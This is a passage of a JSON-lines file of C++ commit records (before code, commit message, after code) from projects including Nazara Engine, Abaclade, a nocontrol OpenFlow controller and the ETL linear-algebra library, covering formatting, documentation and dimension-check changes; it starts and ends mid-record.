rmax + 1;\n  r2 = rmax;\n\n  if (yIdx < 0 || yIdx >= yExt || zIdx < 0 || zIdx >= zExt)\n    { \/\/ out-of-bounds in y or z, use null extent\n    return 0;\n    }\n\n  \/\/ if no clipping object is set, just use ClippingExtent\n  if (this->ClippingLists == NULL)\n    {\n    if (iter++ == 0)\n      {\n      r1 = this->ClippingExtent[0];\n      r2 = this->ClippingExtent[1];\n      if (r1 < rmin)\n        {\n        r1 = rmin;\n        }\n      if (r1 > rmax)\n        {\n        r1 = rmax + 1;\n        }\n      if (r2 > rmax)\n        {\n        r2 = rmax;\n        }\n      return (r2 >= r1);\n      }\n    else\n      {\n      return 0;\n      }\n    }\n\n  \/\/ get the ClippingList and ClippingListLength for this yIdx,zIdx\n  int incr = zIdx*yExt + yIdx;\n  int *clist = this->ClippingLists[incr];\n  int clistlen = this->ClippingListLengths[incr];\n\n  if (iter == 0)\n    {\n    int state = 1; \/\/ start outside\n    r1 = VTK_INT_MIN;\n    for ( ; iter < clistlen; iter++)\n      {\n      if (clist[iter] >= rmin)\n        {\n        if (state > 0)\n          {\n          r1 = clist[iter++];\n          }\n        break;\n        }\n      state = -state;\n      }\n    if (r1 == VTK_INT_MIN)\n      {\n      r1 = rmin;\n      if (state > 0)\n\t{\n\tr1 = rmax + 1;\n\t}\n      }\n    }\n  else\n    {\n    if (iter >= clistlen)\n      {\n      return 0;\n      }\n    r1 = clist[iter++];\n    }\n\n  if (r1 > rmax)\n    {\n    r1 = rmax + 1;\n    return 0;\n    }\n\n  if (iter >= clistlen)\n    {\n    return 1;\n    }\n\n  r2 = clist[iter++] - 1;\n\n  if (r2 > rmax)\n    {\n    r2 = rmax;\n    }\n\n  return 1;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (C) 2012 Jérôme Leclercq\n\/\/ This file is part of the \"Nazara Engine - Mathematics module\"\n\/\/ For conditions of distribution and use, see copyright notice in Config.hpp\n\n#include <Nazara\/Core\/StringStream.hpp>\n#include <Nazara\/Math\/Basic.hpp>\n#include <Nazara\/Math\/Config.hpp>\n#include <Nazara\/Math\/Quaternion.hpp>\n#include <Nazara\/Math\/Vector3.hpp>\n#include <cstring>\n#include <Nazara\/Core\/Debug.hpp>\n\n#define F(a) static_cast<T>(a)\n\ntemplate<typename T>\nNzEulerAngles<T>::NzEulerAngles(T P, T Y, T R)\n{\n\tSet(P, Y, R);\n}\n\ntemplate<typename T>\nNzEulerAngles<T>::NzEulerAngles(const T angles[3])\n{\n\tSet(angles);\n}\n\ntemplate<typename T>\nNzEulerAngles<T>::NzEulerAngles(const NzQuaternion<T>& quat)\n{\n\tSet(quat);\n}\n\ntemplate<typename T>\ntemplate<typename U>\nNzEulerAngles<T>::NzEulerAngles(const NzEulerAngles<U>& angles)\n{\n\tSet(angles);\n}\n\ntemplate<typename T>\nvoid NzEulerAngles<T>::MakeZero()\n{\n\tSet(F(0.0), F(0.0), F(0.0));\n}\n\ntemplate<typename T>\nvoid NzEulerAngles<T>::Normalize()\n{\n\tpitch = NzNormalizeAngle(pitch);\n\tyaw = NzNormalizeAngle(yaw);\n\troll = NzNormalizeAngle(roll);\n}\n\ntemplate<typename T>\nvoid NzEulerAngles<T>::Set(T P, T Y, T R)\n{\n\tpitch = P;\n\tyaw = Y;\n\troll = R;\n}\n\ntemplate<typename T>\nvoid NzEulerAngles<T>::Set(const T angles[3])\n{\n\tpitch = angles[0];\n\tyaw = angles[1];\n\troll = angles[2];\n}\n\ntemplate<typename T>\nvoid NzEulerAngles<T>::Set(const NzEulerAngles& angles)\n{\n\tstd::memcpy(this, &angles, sizeof(NzEulerAngles));\n}\n\ntemplate<typename T>\nvoid NzEulerAngles<T>::Set(const NzQuaternion<T>& quat)\n{\n\tSet(quat.ToEulerAngles());\n}\n\ntemplate<typename T>\ntemplate<typename U>\nvoid NzEulerAngles<T>::Set(const NzEulerAngles<U>& angles)\n{\n\tpitch = static_cast<T>(angles.pitch);\n\tyaw = static_cast<T>(angles.yaw);\n\troll = static_cast<T>(angles.roll);\n}\n\ntemplate<typename T>\nNzQuaternion<T> NzEulerAngles<T>::ToQuaternion() const\n{\n\tNzQuaternion<T> rotX(pitch, NzVector3<T>::UnitX());\n\tNzQuaternion<T> rotY(yaw, NzVector3<T>::UnitY());\n\tNzQuaternion<T> rotZ(roll, NzVector3<T>::UnitZ());\n\n\treturn rotY * rotX * rotZ;\n}\n\ntemplate<typename T>\nNzString NzEulerAngles<T>::ToString() const\n{\n\tNzStringStream ss;\n\n\treturn ss << \"EulerAngles(\" << pitch << \", \" << yaw << \", \" << roll << ')';\n}\n\ntemplate<typename T>\nNzEulerAngles<T> NzEulerAngles<T>::operator+(const NzEulerAngles& angles) const\n{\n\treturn NzEulerAngles(pitch + angles.pitch,\n\t\t\t\t\t\t yaw + angles.yaw,\n\t\t\t\t\t\t roll + angles.roll);\n}\n\ntemplate<typename T>\nNzEulerAngles<T> NzEulerAngles<T>::operator-(const NzEulerAngles& angles) const\n{\n\treturn NzEulerAngles(pitch - angles.pitch,\n\t\t\t\t\t\t yaw - angles.yaw,\n\t\t\t\t\t\t roll - angles.roll);\n}\n\ntemplate<typename T>\nNzEulerAngles<T> NzEulerAngles<T>::operator+=(const NzEulerAngles& angles)\n{\n\tpitch += angles.pitch;\n\tyaw += angles.yaw;\n\troll += angles.roll;\n\n\treturn *this;\n}\n\ntemplate<typename T>\nNzEulerAngles<T> NzEulerAngles<T>::operator-=(const NzEulerAngles& angles)\n{\n\tpitch -= angles.pitch;\n\tyaw -= angles.yaw;\n\troll -= angles.roll;\n\n\treturn *this;\n}\n\ntemplate<typename T>\nbool NzEulerAngles<T>::operator==(const NzEulerAngles& angles) const\n{\n\treturn NzNumberEquals(pitch, angles.pitch) &&\n\t\t   NzNumberEquals(yaw, angles.yaw) &&\n\t\t   NzNumberEquals(roll, angles.roll);\n}\n\ntemplate<typename T>\nbool NzEulerAngles<T>::operator!=(const NzEulerAngles& angles) const\n{\n\treturn !operator==(angles);\n}\n\ntemplate<typename T>\nNzEulerAngles<T> NzEulerAngles<T>::Zero()\n{\n\tNzEulerAngles angles;\n\tangles.MakeZero();\n\n\treturn angles;\n}\n\ntemplate<typename T>\nstd::ostream& operator<<(std::ostream& out, const NzEulerAngles<T>& angles)\n{\n\treturn out << angles.ToString();\n}\n\n#undef F\n\n#include <Nazara\/Core\/DebugOff.hpp>\n<commit_msg>Fixed spaces<commit_after>\/\/ Copyright (C) 2012 Jérôme Leclercq\n\/\/ This file is part of the \"Nazara Engine - Mathematics module\"\n\/\/ For conditions of distribution and use, see copyright notice in Config.hpp\n\n#include <Nazara\/Core\/StringStream.hpp>\n#include <Nazara\/Math\/Basic.hpp>\n#include <Nazara\/Math\/Config.hpp>\n#include <Nazara\/Math\/Quaternion.hpp>\n#include <Nazara\/Math\/Vector3.hpp>\n#include <cstring>\n#include <Nazara\/Core\/Debug.hpp>\n\n#define F(a) static_cast<T>(a)\n\ntemplate<typename T>\nNzEulerAngles<T>::NzEulerAngles(T P, T Y, T R)\n{\n\tSet(P, Y, R);\n}\n\ntemplate<typename T>\nNzEulerAngles<T>::NzEulerAngles(const T angles[3])\n{\n\tSet(angles);\n}\n\ntemplate<typename T>\nNzEulerAngles<T>::NzEulerAngles(const NzQuaternion<T>& quat)\n{\n\tSet(quat);\n}\n\ntemplate<typename T>\ntemplate<typename U>\nNzEulerAngles<T>::NzEulerAngles(const NzEulerAngles<U>& angles)\n{\n\tSet(angles);\n}\n\ntemplate<typename T>\nvoid NzEulerAngles<T>::MakeZero()\n{\n\tSet(F(0.0), F(0.0), F(0.0));\n}\n\ntemplate<typename T>\nvoid NzEulerAngles<T>::Normalize()\n{\n\tpitch = NzNormalizeAngle(pitch);\n\tyaw = NzNormalizeAngle(yaw);\n\troll = NzNormalizeAngle(roll);\n}\n\ntemplate<typename T>\nvoid NzEulerAngles<T>::Set(T P, T Y, T R)\n{\n\tpitch = P;\n\tyaw = Y;\n\troll = R;\n}\n\ntemplate<typename T>\nvoid NzEulerAngles<T>::Set(const T angles[3])\n{\n\tpitch = angles[0];\n\tyaw = angles[1];\n\troll = angles[2];\n}\n\ntemplate<typename T>\nvoid NzEulerAngles<T>::Set(const NzEulerAngles& angles)\n{\n\tstd::memcpy(this, &angles, sizeof(NzEulerAngles));\n}\n\ntemplate<typename T>\nvoid NzEulerAngles<T>::Set(const NzQuaternion<T>& quat)\n{\n\tSet(quat.ToEulerAngles());\n}\n\ntemplate<typename T>\ntemplate<typename U>\nvoid NzEulerAngles<T>::Set(const NzEulerAngles<U>& angles)\n{\n\tpitch = static_cast<T>(angles.pitch);\n\tyaw = static_cast<T>(angles.yaw);\n\troll = static_cast<T>(angles.roll);\n}\n\ntemplate<typename T>\nNzQuaternion<T> NzEulerAngles<T>::ToQuaternion() const\n{\n\tNzQuaternion<T> rotX(pitch, NzVector3<T>::UnitX());\n\tNzQuaternion<T> rotY(yaw, NzVector3<T>::UnitY());\n\tNzQuaternion<T> rotZ(roll, NzVector3<T>::UnitZ());\n\n\treturn rotY * rotX * rotZ;\n}\n\ntemplate<typename T>\nNzString NzEulerAngles<T>::ToString() const\n{\n\tNzStringStream ss;\n\n\treturn ss << \"EulerAngles(\" << pitch << \", \" << yaw << \", \" << roll << ')';\n}\n\ntemplate<typename T>\nNzEulerAngles<T> NzEulerAngles<T>::operator+(const NzEulerAngles& angles) const\n{\n\treturn NzEulerAngles(pitch + angles.pitch,\n\t                     yaw + angles.yaw,\n\t                     roll + angles.roll);\n}\n\ntemplate<typename T>\nNzEulerAngles<T> NzEulerAngles<T>::operator-(const NzEulerAngles& angles) const\n{\n\treturn NzEulerAngles(pitch - angles.pitch,\n\t                     yaw - angles.yaw,\n\t                     roll - angles.roll);\n}\n\ntemplate<typename T>\nNzEulerAngles<T> NzEulerAngles<T>::operator+=(const NzEulerAngles& angles)\n{\n\tpitch += angles.pitch;\n\tyaw += angles.yaw;\n\troll += angles.roll;\n\n\treturn *this;\n}\n\ntemplate<typename T>\nNzEulerAngles<T> NzEulerAngles<T>::operator-=(const NzEulerAngles& angles)\n{\n\tpitch -= angles.pitch;\n\tyaw -= angles.yaw;\n\troll -= angles.roll;\n\n\treturn *this;\n}\n\ntemplate<typename T>\nbool NzEulerAngles<T>::operator==(const NzEulerAngles& angles) const\n{\n\treturn NzNumberEquals(pitch, angles.pitch) &&\n\t\t   NzNumberEquals(yaw, angles.yaw) &&\n\t\t   NzNumberEquals(roll, angles.roll);\n}\n\ntemplate<typename T>\nbool NzEulerAngles<T>::operator!=(const NzEulerAngles& angles) const\n{\n\treturn !operator==(angles);\n}\n\ntemplate<typename T>\nNzEulerAngles<T> NzEulerAngles<T>::Zero()\n{\n\tNzEulerAngles angles;\n\tangles.MakeZero();\n\n\treturn angles;\n}\n\ntemplate<typename T>\nstd::ostream& operator<<(std::ostream& out, const NzEulerAngles<T>& angles)\n{\n\treturn out << angles.ToString();\n}\n\n#undef F\n\n#include <Nazara\/Core\/DebugOff.hpp>\n<|endoftext|>"}
{"text":"<commit_before>﻿\/* -*- coding: utf-8; mode: c++; tab-width: 3; indent-tabs-mode: nil -*-\n\nCopyright 2014\nRaffaello D. Di Napoli\n\nThis file is part of Abaclade.\n\nAbaclade is free software: you can redistribute it and\/or modify it under the terms of the GNU\nGeneral Public License as published by the Free Software Foundation, either version 3 of the\nLicense, or (at your option) any later version.\n\nAbaclade is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General\nPublic License for more details.\n\nYou should have received a copy of the GNU General Public License along with Abaclade. If not, see\n<http:\/\/www.gnu.org\/licenses\/>.\n--------------------------------------------------------------------------------------------------*\/\n\n#ifndef _ABACLADE_PERF_STOPWATCH_HXX\n#define _ABACLADE_PERF_STOPWATCH_HXX\n\n#ifndef _ABACLADE_HXX\n   #error \"Please #include <abaclade.hxx> before this file\"\n#endif\n#ifdef ABC_CXX_PRAGMA_ONCE\n   #pragma once\n#endif\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ abc::perf::stopwatch\n\nnamespace abc {\nnamespace perf {\n\n\/\/! Base class for test cases.\nclass ABACLADE_TESTING_SYM stopwatch {\npublic:\n   \/\/! Integer type used to measure durations.\n   typedef std::uint64_t duration_type;\n\npublic:\n   stopwatch();\n\n   ~stopwatch();\n\n   duration_type duration() const {\n      return m_iTotalDuration;\n   }\n\n   void start();\n\n   duration_type stop();\n\nprotected:\n   \/*! Start time of the current timed session. Large enough to accommodate the real type, defined\n   in stopwatch.cxx. *\/\n   std::max_align_t m_abStartTime[ABC_ALIGNED_SIZE(8)];\n   \/\/! Total measured time duration, in nanoseconds. Precision is not guaranteed on all platforms.\n   duration_type m_iTotalDuration;\n};\n\n} \/\/namespace perf\n} \/\/namespace abc\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ abc::to_str_backend – specialization for abc::perf::stopwatch\n\nnamespace abc {\n\ntemplate <>\nclass to_str_backend<perf::stopwatch> : public to_str_backend<perf::stopwatch::duration_type> {\npublic:\n   \/*! Writes a stopwatch by its duration in ns, applying the formatting options.\n\n   @param sw\n      Stopwatch to write.\n   @param ptwOut\n      Pointer to the writer to output to.\n   *\/\n   void write(perf::stopwatch const & sw, io::text::writer * ptwOut) {\n      to_str_backend<perf::stopwatch::duration_type>::write(sw.duration(), ptwOut);\n   }\n};\n\n} \/\/namespace abc\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#endif \/\/ifndef _ABACLADE_PERF_STOPWATCH_HXX\n<commit_msg>Improve code documentation<commit_after>﻿\/* -*- coding: utf-8; mode: c++; tab-width: 3; indent-tabs-mode: nil -*-\n\nCopyright 2014\nRaffaello D. Di Napoli\n\nThis file is part of Abaclade.\n\nAbaclade is free software: you can redistribute it and\/or modify it under the terms of the GNU\nGeneral Public License as published by the Free Software Foundation, either version 3 of the\nLicense, or (at your option) any later version.\n\nAbaclade is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General\nPublic License for more details.\n\nYou should have received a copy of the GNU General Public License along with Abaclade. If not, see\n<http:\/\/www.gnu.org\/licenses\/>.\n--------------------------------------------------------------------------------------------------*\/\n\n#ifndef _ABACLADE_PERF_STOPWATCH_HXX\n#define _ABACLADE_PERF_STOPWATCH_HXX\n\n#ifndef _ABACLADE_HXX\n   #error \"Please #include <abaclade.hxx> before this file\"\n#endif\n#ifdef ABC_CXX_PRAGMA_ONCE\n   #pragma once\n#endif\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ abc::perf::stopwatch\n\nnamespace abc {\nnamespace perf {\n\n\/*! Measures processing time intervals for the current process at a high platform-dependent\nprecision. *\/\nclass ABACLADE_TESTING_SYM stopwatch {\npublic:\n   \/\/! Integer type used to measure durations.\n   typedef std::uint64_t duration_type;\n\npublic:\n   \/\/! Constructor.\n   stopwatch();\n\n   \/\/! Destructor.\n   ~stopwatch();\n\n   \/*! Returns the total tracked time.\n\n   @return\n      Cumulative time counted by start()\/stop() call pairs.\n   *\/\n   duration_type duration() const {\n      return m_iTotalDuration;\n   }\n\n   \/\/! Starts tracking time.\n   void start();\n\n   \/*! Stops tracking time.\n\n   @return\n      Time elapsed since the last call to start().\n   *\/\n   duration_type stop();\n\nprotected:\n   \/*! Start time of the current timed session. Large enough to accommodate the real type, defined\n   in stopwatch.cxx. *\/\n   std::max_align_t m_abStartTime[ABC_ALIGNED_SIZE(8)];\n   \/\/! Total measured time duration, in nanoseconds. Precision is not guaranteed on all platforms.\n   duration_type m_iTotalDuration;\n};\n\n} \/\/namespace perf\n} \/\/namespace abc\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ abc::to_str_backend – specialization for abc::perf::stopwatch\n\nnamespace abc {\n\ntemplate <>\nclass to_str_backend<perf::stopwatch> : public to_str_backend<perf::stopwatch::duration_type> {\npublic:\n   \/*! Writes a stopwatch by its duration in ns, applying the formatting options.\n\n   @param sw\n      Stopwatch to write.\n   @param ptwOut\n      Pointer to the writer to output to.\n   *\/\n   void write(perf::stopwatch const & sw, io::text::writer * ptwOut) {\n      to_str_backend<perf::stopwatch::duration_type>::write(sw.duration(), ptwOut);\n   }\n};\n\n} \/\/namespace abc\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#endif \/\/ifndef _ABACLADE_PERF_STOPWATCH_HXX\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2013-2014 Flowgrammable.org\n\/\/ \n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at:\n\/\/ \n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/ \n\/\/ Unless required by applicable law or agreed to in writing,\n\/\/ software distributed under the License is distributed on an \"AS IS\"\n\/\/ BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express\n\/\/ or implied. See the License for the specific language governing\n\/\/ permissions and limitations under the License.\n\n#ifndef NOCONTROL_OFP_HANDLER_HPP\n#define NOCONTROL_OFP_HANDLER_HPP\n\n#include <freeflow\/sys\/socket.hpp>\n#include <freeflow\/sys\/handler.hpp>\n#include <freeflow\/sys\/acceptor.hpp>\n#include <freeflow\/sdn\/controller.hpp>\n#include <freeflow\/proto\/ofp\/protocol.hpp>\n\n#include \"prelude.hpp\"\n\nnamespace nocontrol {\n\n\/\/\/ Represents an OpenFlow connection with a switch. This class acts as a \n\/\/\/ small shim that buffers messages and hands them to a state machine for\n\/\/\/ further processing.\n\/\/\/\n\/\/\/ \\todo We're required to TLS for switch connections. This\n\/\/\/ seems like the likely integration point for that work.\nclass Ofp_handler : public ff::Socket_handler {\n  struct Write_on_exit;\npublic:\n  Ofp_handler(ff::Reactor&, ff::Socket&&, ff::Controller&);\n\n  bool on_open();\n  bool on_close();\n  bool on_read();\n  bool on_time(int);\n\nprivate:\n  bool read();\n  bool write();\n\n  ff::Controller& ctrl_;\n  ff::ofp::Protocol* proto_;\n};\n\n\n\/\/\/ The Ofp_factory is responsible for creating new service handlers\n\/\/\/ for connected switches.\n\/\/\/\n\/\/\/ \\todo This is the same as the Nocontrol_factory. Factor this into\n\/\/\/ a template in the SDN library.\nstruct Ofp_factory {\n  Ofp_factory(ff::Controller&);\n  \n  Ofp_handler* operator()(ff::Reactor&, ff::Socket&&) const;\n\nprivate:\n  ff::Controller& ctrl_;\n};\n\n\/\/\/ The Switch_acceptor is responsible for accepting connections from\n\/\/\/ switches and constructing service handlers to manage the OpenFlow\n\/\/\/ protocol.\nusing Ofp_acceptor = ff::Acceptor<Ofp_handler, Ofp_factory>;\n\n} \/\/ namespace nocontrol\n\n#include \"openflow.hpp\"\n\n#endif\n<commit_msg>Fixing documentation error.<commit_after>\/\/ Copyright (c) 2013-2014 Flowgrammable.org\n\/\/ \n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at:\n\/\/ \n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/ \n\/\/ Unless required by applicable law or agreed to in writing,\n\/\/ software distributed under the License is distributed on an \"AS IS\"\n\/\/ BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express\n\/\/ or implied. See the License for the specific language governing\n\/\/ permissions and limitations under the License.\n\n#ifndef NOCONTROL_OFP_HANDLER_HPP\n#define NOCONTROL_OFP_HANDLER_HPP\n\n#include <freeflow\/sys\/socket.hpp>\n#include <freeflow\/sys\/handler.hpp>\n#include <freeflow\/sys\/acceptor.hpp>\n#include <freeflow\/sdn\/controller.hpp>\n#include <freeflow\/proto\/ofp\/protocol.hpp>\n\n#include \"prelude.hpp\"\n\nnamespace nocontrol {\n\n\/\/\/ Represents an OpenFlow connection with a switch. This class acts as a \n\/\/\/ small shim that buffers messages and hands them to a state machine for\n\/\/\/ further processing.\n\/\/\/\n\/\/\/ \\todo We're required to TLS for switch connections. This\n\/\/\/ seems like the likely integration point for that work.\nclass Ofp_handler : public ff::Socket_handler {\n  struct Write_on_exit;\npublic:\n  Ofp_handler(ff::Reactor&, ff::Socket&&, ff::Controller&);\n\n  bool on_open();\n  bool on_close();\n  bool on_read();\n  bool on_time(int);\n\nprivate:\n  bool read();\n  bool write();\n\n  ff::Controller& ctrl_;\n  ff::ofp::Protocol* proto_;\n};\n\n\n\/\/\/ The Ofp_factory is responsible for creating new service handlers\n\/\/\/ for connected switches.\n\/\/\/\n\/\/\/ \\todo This is the same as the Nocontrol_factory. Factor this into\n\/\/\/ a template in the SDN library.\nstruct Ofp_factory {\n  Ofp_factory(ff::Controller&);\n  \n  Ofp_handler* operator()(ff::Reactor&, ff::Socket&&) const;\n\nprivate:\n  ff::Controller& ctrl_;\n};\n\n\/\/\/ The Ofp_acceptor is responsible for accepting connections from\n\/\/\/ switches and constructing service handlers to manage the OpenFlow\n\/\/\/ protocol.\nusing Ofp_acceptor = ff::Acceptor<Ofp_handler, Ofp_factory>;\n\n} \/\/ namespace nocontrol\n\n#include \"openflow.hpp\"\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/\/=======================================================================\n\/\/ Copyright (c) 2014-2016 Baptiste Wicht\n\/\/ Distributed under the terms of the MIT License.\n\/\/ (See accompanying file LICENSE or copy at\n\/\/  http:\/\/opensource.org\/licenses\/MIT)\n\/\/=======================================================================\n\n#pragma once\n\n\/\/Get the implementations\n#include \"etl\/impl\/transpose.hpp\"\n\nnamespace etl {\n\n\/*!\n * \\brief A transposition expression.\n * \\tparam T The value type\n *\/\ntemplate <typename T>\nstruct transpose_expr : impl_expr<transpose_expr<T>> {\n    using value_type = T;                 \/\/\/< The type of value of the expression\n    using this_type  = transpose_expr<T>; \/\/\/< The type of this expression\n\n    static constexpr bool is_gpu = cublas_enabled; \/\/\/< Indicates if the expression runs on GPU\n\n    \/*!\n     * \\brief The result type for given sub types\n     * \\tparam A the sub expression type\n     *\/\n    template <typename A>\n    using result_type = detail::expr_result_t<this_type, A>;\n\n    \/*!\n     * \\brief Validate the transposition dimensions\n     * \\param a The input matrix\n     * \\þaram c The output matrix\n     *\/\n    template <typename A, typename C, cpp_enable_if(all_fast<A,C>::value)>\n    static void check(const A& a, const C& c) {\n        cpp_unused(a);\n        cpp_unused(c);\n\n        static_assert(decay_traits<A>::template dim<0>() == decay_traits<C>::template dim<1>(), \"Invalid dimensions for transposition\");\n        static_assert(decay_traits<C>::template dim<0>() == decay_traits<A>::template dim<1>(), \"Invalid dimensions for transposition\");\n    }\n\n    \/*!\n     * \\brief Validate the transposition dimensions\n     * \\param a The input matrix\n     * \\þaram c The output matrix\n     *\/\n    template <typename A, typename C, cpp_disable_if(all_fast<A,C>::value)>\n    static void check(const A& a, const C& c) {\n        cpp_unused(a);\n        cpp_unused(c);\n\n        cpp_assert(etl::dim<0>(a) == etl::dim<1>(c), \"Invalid dimensions for transposition\");\n        cpp_assert(etl::dim<1>(a) == etl::dim<0>(c), \"Invalid dimensions for transposition\");\n    }\n\n    \/*!\n     * \\brief Apply the expression\n     * \\param a The input\n     * \\param c The expression where to store the results\n     *\/\n    template <typename A, typename C>\n    static void apply(A&& a, C&& c) {\n        static_assert(all_etl_expr<A, C>::value, \"Transpose only supported for ETL expressions\");\n\n        check(a, c);\n\n        detail::transpose::apply(make_temporary(std::forward<A>(a)), std::forward<C>(c));\n    }\n\n    \/*!\n     * \\brief Returns a textual representation of the operation\n     * \\return a textual representation of the operation\n     *\/\n    static constexpr const char* desc() noexcept {\n        return \"transpose\";\n    }\n\n    \/*!\n     * \\brief Returns the DDth dimension of the expression\n     * \\return the DDth dimension of the expression\n     *\/\n    template <typename A, std::size_t DD>\n    static constexpr std::size_t dim() {\n        return DD == 0 ? decay_traits<A>::template dim<1>() : decay_traits<A>::template dim<0>();\n    }\n\n    \/*!\n     * \\brief Returns the dth dimension of the expression\n     * \\param a The left hand side\n     * \\param d The dimension to get\n     * \\return the dth dimension of the expression\n     *\/\n    template <typename A>\n    static std::size_t dim(const A& a, std::size_t d) {\n        return d == 0 ? etl::dim<1>(a) : etl::dim<0>(a);\n    }\n\n    \/*!\n     * \\brief Returns the size of the expression\n     * \\param a The left hand side\n     * \\return the size of the expression\n     *\/\n    template <typename A>\n    static std::size_t size(const A& a) {\n        return etl::size(a);\n    }\n\n    \/*!\n     * \\brief Returns the size of the expression\n     * \\return the size of the expression\n     *\/\n    template <typename A>\n    static constexpr std::size_t size() {\n        return decay_traits<A>::size();\n    }\n\n    \/*!\n     * \\brief Returns the storage order of the expression.\n     * \\return the storage order of the expression\n     *\/\n    template <typename A>\n    static constexpr etl::order order() {\n        return etl::order::RowMajor;\n    }\n\n    \/*!\n     * \\brief Returns the number of dimensions of the expression\n     * \\return the number of dimensions of the expression\n     *\/\n    static constexpr std::size_t dimensions() {\n        return 2;\n    }\n};\n\n} \/\/end of namespace etl\n<commit_msg>Better checks for all cases<commit_after>\/\/=======================================================================\n\/\/ Copyright (c) 2014-2016 Baptiste Wicht\n\/\/ Distributed under the terms of the MIT License.\n\/\/ (See accompanying file LICENSE or copy at\n\/\/  http:\/\/opensource.org\/licenses\/MIT)\n\/\/=======================================================================\n\n#pragma once\n\n\/\/Get the implementations\n#include \"etl\/impl\/transpose.hpp\"\n\nnamespace etl {\n\n\/*!\n * \\brief A transposition expression.\n * \\tparam T The value type\n *\/\ntemplate <typename T>\nstruct transpose_expr : impl_expr<transpose_expr<T>> {\n    using value_type = T;                 \/\/\/< The type of value of the expression\n    using this_type  = transpose_expr<T>; \/\/\/< The type of this expression\n\n    static constexpr bool is_gpu = cublas_enabled; \/\/\/< Indicates if the expression runs on GPU\n\n    \/*!\n     * \\brief The result type for given sub types\n     * \\tparam A the sub expression type\n     *\/\n    template <typename A>\n    using result_type = detail::expr_result_t<this_type, A>;\n\n    \/*!\n     * \\brief Validate the transposition dimensions\n     * \\param a The input matrix\n     * \\þaram c The output matrix\n     *\/\n    template <typename A, typename C, cpp_enable_if(all_fast<A,C>::value)>\n    static void check(const A& a, const C& c) {\n        cpp_unused(a);\n        cpp_unused(c);\n\n        static constexpr etl::order order_lhs = decay_traits<C>::storage_order;\n        static constexpr etl::order order_rhs = decay_traits<A>::storage_order;\n\n        static constexpr bool rm_to_rm = order_lhs == etl::order::RowMajor && order_rhs == etl::order::RowMajor;\n        static constexpr bool cm_to_cm = order_lhs == etl::order::ColumnMajor && order_rhs == etl::order::ColumnMajor;\n        static constexpr bool rm_to_cm = order_lhs == etl::order::RowMajor && order_rhs == etl::order::ColumnMajor;\n        static constexpr bool cm_to_rm = order_lhs == etl::order::ColumnMajor && order_rhs == etl::order::RowMajor;\n\n        static constexpr size_t L1 = decay_traits<C>::template dim<0>();\n        static constexpr size_t L2 = decay_traits<C>::template dim<1>();\n        static constexpr size_t R1 = decay_traits<A>::template dim<0>();\n        static constexpr size_t R2 = decay_traits<A>::template dim<1>();\n\n        \/\/ Case 1: RM -> RM\n        static_assert(!rm_to_rm || (L1 == R2 && L2 == R1), \"Invalid dimensions for transposition\");\n\n        \/\/ Case 2: CM -> CM\n        static_assert(!cm_to_cm || (L1 == R2 && L2 == R1), \"Invalid dimensions for transposition\");\n\n        \/\/ Case 3: RM -> CM (two possible cases)\n        static_assert(!rm_to_cm || ((L1 == R2 && L2 == R1) || (L1 == R1 && L2 == R2)), \"Invalid dimensions for transposition\");\n\n        \/\/ Case 4: RM -> 